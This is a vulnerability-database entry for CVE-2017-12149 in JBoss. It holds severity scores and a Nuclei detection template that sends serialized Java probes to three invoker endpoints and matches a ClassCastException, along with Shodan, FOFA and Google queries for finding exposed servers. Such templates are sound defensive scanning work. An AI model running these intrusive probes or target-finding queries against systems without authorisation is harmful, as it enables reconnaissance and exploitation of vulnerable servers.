Jboss Application Server - Remote Code Execution

2021-05-1111:07:05

ProjectDiscovery

github.com

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 High

AI Score

Confidence

High

7.5 High

CVSS2

Access Vector

Access Complexity

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.972 High

EPSS

Percentile

99.8%

JSON

Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing an attacker to execute arbitrary code via crafted serialized data.

id: CVE-2017-12149

info:
  name: Jboss Application Server - Remote Code Execution
  author: fopina,s0obi
  severity: critical
  description: Jboss Application Server as shipped with Red Hat Enterprise Application Platform 5.2 is susceptible to a remote code execution vulnerability because  the doFilter method in the ReadOnlyAccessFilter of the HTTP Invoker does not restrict classes for which it performs deserialization, thus allowing an attacker to execute arbitrary code via crafted serialized data.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected server.
  remediation: |
    Apply the latest security patches and updates provided by Jboss to fix this vulnerability.
  reference:
    - https://chowdera.com/2020/12/20201229190934023w.html
    - https://github.com/vulhub/vulhub/tree/master/jboss/CVE-2017-12149
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12149
    - https://bugzilla.redhat.com/show_bug.cgi?id=1486220
    - https://access.redhat.com/errata/RHSA-2018:1607
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-12149
    cwe-id: CWE-502
    epss-score: 0.9719
    epss-percentile: 0.9982
    cpe: cpe:2.3:a:redhat:jboss_enterprise_application_platform:5.0.0:*:*:*:*:*:*:*
  metadata:
    max-request: 3
    vendor: redhat
    product: jboss_enterprise_application_platform
    shodan-query:
      - http.title:"jboss"
      - cpe:"cpe:2.3:a:redhat:jboss_enterprise_application_platform"
    fofa-query: title="jboss"
    google-query: intitle:"jboss"
  tags: cve2017,cve,java,rce,deserialization,kev,vulhub,jboss,intrusive,redhat

http:
  - raw:
      - |
        POST /invoker/JMXInvokerServlet/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
      - |
        POST /invoker/EJBInvokerServlet/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}
      - |
        POST /invoker/readonly HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{ base64_decode("rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAACdwQAAAACdAAJZWxlbWVudCAxdAAJZWxlbWVudCAyeA==") }}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ClassCastException

      - type: status
        status:
          - 200
          - 500
# digest: 4b0a0048304602210093a029dbe058a25a05e53abbb431152e07db1e0304aa1feb9af3f783577e3e62022100de2b630f57bdf4e444177d9fcd3937b26db57bf1f115f7814a0c67a3e7b7cd85:922c64590222798bb761d5b6d8e72950